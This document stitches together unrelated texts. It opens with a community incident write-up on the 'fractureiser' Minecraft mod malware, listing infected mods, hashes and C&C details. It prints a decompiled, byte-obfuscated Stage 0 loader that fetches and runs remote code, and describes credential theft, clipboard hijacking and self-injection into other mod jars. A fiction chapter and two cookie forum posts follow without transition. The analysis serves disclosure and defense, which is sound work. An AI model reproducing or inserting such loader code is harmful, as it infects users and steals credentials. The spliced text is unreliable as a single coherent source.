Known affected mods & plugins

mod/pluginlinkSHA1“Uploader” Skyblock Core[www.curseforge.com]/minecraft/mc-mods/skyblock-core/files/4570565

33677CA0E4C565B1F34BAA74A79C09A3B690BF41 

Luna Pixel Studios Dungeonz[legacy.curseforge.com]/minecraft/mc-mods/dungeonx/files/4551100

2DB855A7F40C015F8C9CA7CBAB69E1F1AAFA210B 

fractureiser Haven Elytra[dev.bukkit.org]/projects/havenelytra/files/4551105 [legacy.curseforge.com]/minecraft/bukkit-plugins/havenelytra/files/4551105

284A4449E58868036B2BAFDFB5A210FD0480EF4A 

fractureiser Vault Integrations[www.curseforge.com]/minecraft/mc-mods/vault-integrations-bug-fix/files/4557590

0C6576BDC6D1B92D581C18F3A150905AD97FA080 

simpleharvesting82 AutoBroadcast[www.curseforge.com]/minecraft/mc-mods/autobroadcast/files/4567257

C55C3E9D6A4355F36B0710AB189D5131A290DF26 

shyandlostboy81 Museum Curator Advanced[www.curseforge.com]/minecraft/mc-mods/museum-curator-advanced/files/4553353

32536577D5BB074ABD493AD98DC12CCC86F30172 

racefd16Vault Integrations Bug fix[www.curseforge.com]/minecraft/mc-mods/vault-integrations-bug-fix/files/4557590

0C6576BDC6D1B92D581C18F3A150905AD97FA080 

simplyharvesting82 Floating Damage[dev.bukkit.org]/projects/floating-damage1d1aaccdc13244e980c0c024610ecc77ea2674a33a52129edf1bb4ce3b2cc2fcmamavergas3001Display Entity Editor[www.curseforge.com]/minecraft/bukkit-plugins/display-entity-editofiles/4570122

A4B6385D1140C111549D95EAB25CB51922EEFBA2 

santa_faust_2120
Darkhax sent this: https://gist.github.com/Darkhax/d7f6d1b5bfb51c3c74d3bd1609cab51f
potentially more: Sophisticated Core, Dramatic Doors, Moonlight lib, Union lib

Stage0 (Infected mod jars)

Affected mods or plugins have a new static void method inserted into their main class, and a call to this method is inserted into that class’s static initializer. For DungeonZ, the method is named _d1385bd3c36f464882460aa4f0484c53 and exists in net.dungeonz.DungeonzMain . For Skyblock Core, the method is named _f7dba6a3a72049a78a308a774a847180 and is inserted into com.bmc.coremod.BMCSkyblockCore . For HavenElytra, the code is inserted directly into the otherwise-unused static initializer of valorless.havenelytra.HavenElytra .
The method’s code is obfuscated, using new String(new byte[]{...}) instead of string literals.
From Shadowex3’s sample of “Create Infernal Expansion Plus”, a copycat version of “Create Infernal Expansion Compat” with malware inserted into the main mod class:

static void _1685f49242dd46ef9c553d8af1a4e0bb() { Class.forName(new String(new byte[] { // "Utility" 85, 116, 105, 108, 105, 116, 121 }), true, (ClassLoader) Class.forName(new String(new byte[] { // "java.net.URLClassLoader" 106, 97, 118, 97, 46, 110, 101, 116, 46, 85, 82, 76, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114 })).getConstructor(URL[].class).newInstance(new URL[] { new URL(new String(new byte[] { // "http" 104, 116, 116, 112 }), new String(new byte[] { // "85.217.144.130" 56, 53, 46, 50, 49, 55, 46, 49, 52, 52, 46, 49, 51, 48 }), 8080, new String(new byte[] { // "/dl" 47, 100, 108 })) })).getMethod(new String(new byte[] { // "run" 114, 117, 110 }), String.class).invoke((Object) null, "-114.-18.38.108.-100"); } 

This:

1. Creates a URLClassLoader with the URL http://[85.217.144.130:8080]/dl (shodan)
2. Loads the class Utility from the classloader, fetching code from the internet
3. Calls the run method on Utility , passing a String argument different for each infected mod (!). E.g.

• Skyblock Core: “-74.-10.78.-106.12 ”
• Dungeonz: “114.-18.38.108.-100 ”
• HavenElytra: “-114.-18.38.108.-100 ”
• Vault Integrations: “-114.-18.38.108.-100 ”

The passed numerals are parsed as bytes by Stage1 and written to a file named “.ref”. They appear to be a way for the author to track infection sources.
The creation of the classloader is hardcoded to that URL and does not use the Cloudflare URL that Stage 1 does. As that IP is now offline, this means the Stage 0 payloads we are presently aware of no longer function.

Stage1 (dl.jar)

SHA-1: dc43c4685c3f47808ac207d1667cc1eb915b2d82
Decompiled copy of Utility from the malware.
The very first thing Utility.run does is check if the system property neko.run is set. If it is, it will immediately stop executing. If not, it sets it to the empty string and continues. This appears to be a very simplistic way of avoiding the same process running the malware multiple times, such as if it had multiple infected mods. This cannot be relied upon as a killswitch because Stage1 is downloaded from the Internet and may change.
It attempts to contact 85.217.144.130 , and a Cloudflare Pages domain (https://[files-8ie.pages.dev]/ip ). Yes, people have already reported abuse. The Pages domain is used to retrieve the IP of the C&C server if the first IP no longer responds — the URL responds with a 4 byte file which is just a binary IPv4 address.
The C&C IP has been nullrouted after an abuse report to the server provider. We will need to keep an eye on the Cloudflare page to see if a new C&C server is stood up, I can’t imagine they didn’t plan for this. Thank you Serverion for your prompt response.
Stage 1 then attempts to achieve persistence by doing the following:

1. Downloading stage 2 (lib.jar on Linux, libWebGL64.jar on Windows) from the server
2. Making stage 2 run automatically on startup:

• On Linux, it tries placing systemd unit files in /etc/systemd/system or ~/.config/systemd/user
  
  • The unit file it places in the user folder never works, because it tries using multi-user.target , which doesn’t exist for user units
• On Windows, it attempts to modify the registry to start itself, or failing that, tries adding itself to the Windows\Start Menu\Programs\Startup folder
  

Stage2 (lib.jar or libWebGL64.jar)

Known sha1 hashes:

• 52d08736543a240b0cbbbf2da03691ae525bb119
• 6ec85c8112c25abe4a71998eb32480d266408863 (Shadowex3’s earlier upload)

Stage 2 is obfuscated with a demo version of the Allatori obfuscator, and its main class is called Bootstrap .
TODO, describe the double wrapped behaviour.
Stage 2 downloads stage 3, client.jar , loads its code, and executes the start method located within dev.neko.nekoclient.Client .

Stage3 (client.jar)

sha-1: c2d0c87a1fe99e3c44a52c48d8bcf65a67b3e9a5
client.jar is an incredibly obfuscated and complex bundle of code and contains both java and native code.
It appears to contain a native payload hook.dll , decompiled: https://gist.githubusercontent.com/NotNite/79ab1e5501e1ef109e8030059356b1b8/raw/c2102bf5ff74275ac44c2200d5121bfff652fd49/hook.dll.c
There are two native functions meant to be called from Java, as they are JNI callable:

• __int64 __fastcall Java_dev_neko_nekoclient_api_windows_WindowsHook_retrieveClipboardFiles(__int64 a1);
• __int64 __fastcall Java_dev_neko_nekoclient_api_windows_WindowsHook_retrieveMSACredentials(__int64 a1);

from analysis, these do what they say on the tin:

• read clipboard contents
• Steal Microsoft account credentials

There is also evidence of code attempting to do the following:

• Scan for all JAR files on the system that look like Minecraft mods (by detecting Forge/Fabric/Quilt/Bukkit) and attempt to inject stage 0 into them
• Steal cookies and login information for many web browsers
• Replace cryptocurrency addresses in the clipboard with alternates that are presumably owned by the attacker
• Steal Discord credentials
• Steal Microsoft and Minecraft credentials, from a variety of launchers
• Steal crypto wallets

Jars are heuristically detected as Minecraft mods or plugins as follows:

• Forge (dev/neko/e/e/e/A): The malware attempts to locate the u/Mod annotation, which is required in every mod
• Bukkit (dev/neko/e/e/e/C): The malware checks if a class extends Bukkit’s JavaPlugin class
• Fabric/Quilt (dev/neko/e/e/e/i): The malware checks if a class implements ModInitializer
• Bungee (dev/neko/e/e/e/l): The malware checks if a class extends Bungee’s Plugin class
• Vanilla (dev/neko/e/e/e/c): The malware checks if the main client class net.minecraft.client.main.Main exists

More details are available in the live stage-3 reversal doc: https://hackmd.io/5gqXVri5S4ewZcGaCbsJdQ

Other Stuff

The only official channel run by the same team that wrote this writeup is #cfmalware on EsperNet IRC — we do not have a Discord. You may join the channel if you wish — due to an influx of new users we’ve set the channel +m, you will need permission to speak. Joining an IRC channel will expose your IP address.
IRC logs: TODO
The main payload server is was (got taken down) hosted on Serverion, a company based in the Netherlands.
Other than an HTTP server on port 80/443 and an SSH server on port 22, the following ports were open on 85.217.144.130 :

• 1337
• 1338 (a port referenced in stage 1’s file for creating new Debugger connection)
• 8081 (this is a WebSocket server - no apparent function right now, not referenced in any malicious code)
• 8082 (nobody’s gotten anything out of this one, not referenced in any malicious code)
• 8083 (contacted by stage 1)

Curiously, fractureiser’s bukkit page says “Last active Sat, Jan, 1 2000 00:00:00” https://dev.bukkit.org/members/fractureiseprojects/

Follow-Ups

While it’s a bit early to speak of long term follow-ups, this whole debacle has brought up several critical flaws in the modded Minecraft ecosystem. This section is just brainstorming on them and how we can improve.

1. Review at mod repositories is inadequate What exactly does CurseForge and Modrinth do when “reviewing” a mod? We should know as a community, instead of relying on security through obscurity. Should be we be running some sort of static analysis? (williewillus has a few ideas here)
2. A lack of code signing for mods Unlike the software industry at large, mods released and uploaded to repositories are usually not signed with a signing key that proves that the owner of the key uploaded the mod. Having signing and a separate key distribution/trust mechanism mitigates compromise of CurseForge accounts. However, this then leads to the greater issue of how to derive key trust, as the fact that “this jar has this signature” has to be communicated out of band from CurseForge/Modrinth, in a standard way so that loaders or users can verify the signatures. Forge tried to introduce signing many years ago and it had limited uptake.
3. A lack of reproducible builds Minecraft toolchains are a mess, and builds are usually not reproducible. It is common to have buildscripts fetching unpinned -SNAPSHOT versions of random Gradle plugins and using them, which results in artifacts that are non-reproducible and thus non-auditable. A random Gradle plugin being a future attack vector is not out of the question.
4. Lack of sandboxing of Minecraft itself Java edition modding has always had the full power of Java, and this is the other side of that double-edged sword: malicious code has far-reaching impact. Minecraft itself is not run with any sandboxing, and servers usually are not sandboxed unless the owner is knowledgeable enough to do so.

Good sandboxing is difficult, especially on systems such as Linux where SELinux/AppArmor have such poor UX that no one deploys them.

Credits

Nonextensive! Thank you to all that pitched in. We’ll flesh this out after this all blows over.
Shadowex3: Extensive reverse engineering, early discovery learned of later Nia: Extensive stage 3 reverse engineering Jasmine: Coordination, writing the decompiler we’ve been using (Quiltflower) Emi: Coordination, initial discovery (for this team), and early research williewillus: Coordination, journalist quat: Documentation, initial infected sample research xylemlandmark: Coordination of documentation, crowd control, responsible for using Snopyta at first and the disaster that caused
​
Live updated document - https://hackmd.io/B46EYzKXSfWSF35DeCZz9A
Curseforge is aware of the issue keep an eye in their discord for announcements.

Maybe it was the presence of human emotions of this sort… this ‘pity’ thing was kind of new to me. I know, I know, you might be wondering, ‘Didn’t you pity Suki?’ or ‘Didn’t you pity Jin?’ and the answer is ‘no’. Maybe if things got worse for them, but Suki was alive and Jin was still in school, they weren’t at what humans call ‘Rock Bottom’ yet, so why would I feel pity?
But stealing snacks and working for someone who loathes you to buy old bento while wearing dirty clothes and living in a body they had to know was kind of bad smelling? Maybe things could have been worse but… well if it got worse that didn’t mean they weren’t at rock bottom, it just meant that they were at rock bottom when somebody handed them a stick of T.N.T. like out of one of those old cartoons so they could blast their way down deeper.
So yeah, yeah I pitied the boy, which probably was obvious and probably made him feel worse. But then again he did pick on Jin and so I wasn’t too concerned about him feeling bad about eating pity-bento.
Jin showed up about two hours prior to closing, a smile on his face, he was clearly increasingly happy in the last few days, and this was no exception. “Thanks again, Kayobi! I’ll lock up!” He said and waited while I bought snacks for myself.
“Sure thing, see you tomorrow.” I promised, and went back to my apartment.
I immediately turned on the television and tossed my snacks on the coffee table sitting in front of my plushy, soft couch, and after a moment’s consideration I decided, after putting on my pajamas, I would make Asahi’s life just a little bit easier.
I gathered my dirty clothing and threw it into an old green laundry bag I’d acquired, along with a few single-use detergent packets, then put the little box of trash bags out on the countertop for him to easily find, right next to the dish soap. I had almost no dishes, but there were some plastic ones I sort of kept and reused.
And that was that. I teleported my snacks into my hand and flopped myself on the couch, leaving the door cracked open so that Asahi would know I was there and couldn’t later pretend he knocked and nobody was home or something equally absurd.
I did have my doubts about his arrival, would he show or not show? I looked at my chocolate cream cookies and my bag of melon chips and licked my lips. I chose to have a little fun with it.
I stacked up my cookies, ten high. Then I set out a few handfuls of chips on the table and checked my phone. He had ten minutes. “Alright, if he shows up, I eat you.” I pointed at the cookies. “If he doesn’t show up, I eat you.”
“Nooo…” I gave the cookies and chips voices, and messed around with making them protest their pending consumption.
“I’m sorry, cookies and chips, but you are made of deliciousness, and Kayobi must consume to be content. But worry not, for you will live on in memory, no matter what happens, bear it bravely, and you need die but once.” I said and made a dramatic half bow to my snacks before laughing at my silly game and turning on the show to watch a boy getting flung around by a lamia’s tail as he tried to bear her…superabundant…affections.
I liked this show a lot, the characters were fun with all their silly romantic hijinks, I really felt the haphazard struggles of the male lead, but of all of them, Smith was my favorite. Doing all she could to avoid work at every turn…
I don’t know, something about her just spoke to my soul.
So I watched the story unfold as he was nearly choked, accidentally did some no-no touching thanks to her poor directions while he was blindfolded, and otherwise just had his life turned upside down.
And while I watched I took a look at the food menu for a delivery place. Before I could order anything or even make a decision, there was a knock at my door.
It opened a crack, and I said, “If you’re a Yakuza hitman, I’ll murder you, but if you’re Asahi, good timing, come on in.” I didn’t bother looking toward the door.
“H-Hi… ah… Yakuza hitman?” He asked, his boldness was completely gone from him, and he now seemed a lot smaller to me as he slipped in the door without even opening it all the way.
I snorted and gave a dismissive wave, “It’s an inside joke, don’t worry about it.” I proceeded to reach for the cookies and popped the top one into my mouth, and while my left cheek was puffed out I said, “Here’s the deal, Asahi, I hate chores. So you can do them for me to pay me back. Start with my laundry, and by the way, there’s enough detergent for ‘extra’ loads. If you happen to use it all up while washing some of your own, fine. Don’t care, just get mine done.”
I then pointed to the green bag sitting against the wall. “But don’t do anything pervy with my underwear. I watch your shows, and this is not one of your ecchi programs.” I glowered at him, and the young man blushed a bright crimson in his face.
“I-I wouldn’t! I-” He tried to protest, but I cut him off.
“Don’t worry about it. After you’re done, there’s some dishes to do and some cleanup here in the living area. Get that handled, and by then, well I’m about to order dinner, if you want the leftovers, that’s fine. Then we’ll call it square for today. Questions?” I asked, and when his stomach rumbled, I threw another cookie in my mouth.
He was all but salivating. “Yeah… I… I got it.” He murmured.
“Then get to it, and I’ll see you in about two hours.” I said, and then went back to watching my show while he went to do my laundry.
The door closed behind him, and you know something?
I’d never felt so bad about anything in all my life. Never. Not once. I looked at the remaining stack of cookies and chips, “I am afraid, since the goddess of your world is kind of an evil monarch, there will be no clemency for any of you. Your sentence is to be carried out immediately.” I said to my food, and tossed them cookie by cookie and chip by chip into my mouth with crunch after crunch continuing until such time as the whole of my doomed snacktopian subjects were quite devoured.
But they hadn’t tasted good.
It was more like ashes in my mouth than explosive tastiness.
I felt like the Yakuza bosses by exploiting Suki and who knew how many others around Shinjai. Or like I’d kicked a damn puppy for chewing on a shoe. Alright, what Asahi had done was bad, but I’d already punished him and he’d seemingly stopped.
“Stars above… he is just a kid, don’t kick him while he’s already down, Kayobi.” I told myself and contemplated my now devoid execution square where all the chips and cookies were sacrificed on the altar of my divine laziness.
As I watched the protagonist start to drown in the mermaid’s pool, I selected an order for pizza from my phone. I ordered some from a local chain, Aoki’s, and one from a popular American one, Domino’s. I used a few coupons to get some freebies thrown in, and then that was that.
It was only a matter of time before that got here, and Asahi got back, and then maybe my food would stop tasting bad. Evidently treating people badly ruins meals, even if they deserve it. “Hmpf. Who knew?” I rolled my eyes at my own question, stretched out, and resumed watching the nigh invincible protagonist suffer every kind of indignant injury, and I laughed the entire time.

Personally, I enjoy Crumbl because of the fun & unique flavors. I have plenty of options in Los Angeles so rarely go to Crumbl but do keep an eye on the flavors to see if there's something that really stands out. But I keep seeing a variation of the same flavors week after week & it's just so boring! Anyone else bored with Crumbl's repetitive menu?

So I have been following a chocolate chips cookies from this YouTube channel (Nino's home) but I kept fucking things up. The minor things are probably pre heating the butter too much, adding too much or too little AP powder. However, the major problem I think I'm having is the cooking time. In the video, they recommended that I should bake them at 375 f for 12 minutes but after 12 minutes, I took a chop stick and poke at the cookies and they are still too watery or puddly. This cause me to increase the heat up to 400 to 425 and bake for a longer period of time but it always cause my cookies to become crumbly or worse burnt.
Can somebody share their recipes or point out what is wrong with my baking: is it something in the ingredients that Im missing ? is it the way a put my baking tray ? are done cookies supposed to be puddly ?
Update: Thank you everybody for their advice, yes it was definitely the baking time, I just need to bake for 13 or 12 minutes at 380 or 375 and let it cool. additionally, it could be that last time I was too greedy and decided cook all the cookies in one small tray, since this time I did clutter all of it in 1 tray. the cookies I made this time is actually chewy and thankfully edible according to my brother. Thank you very much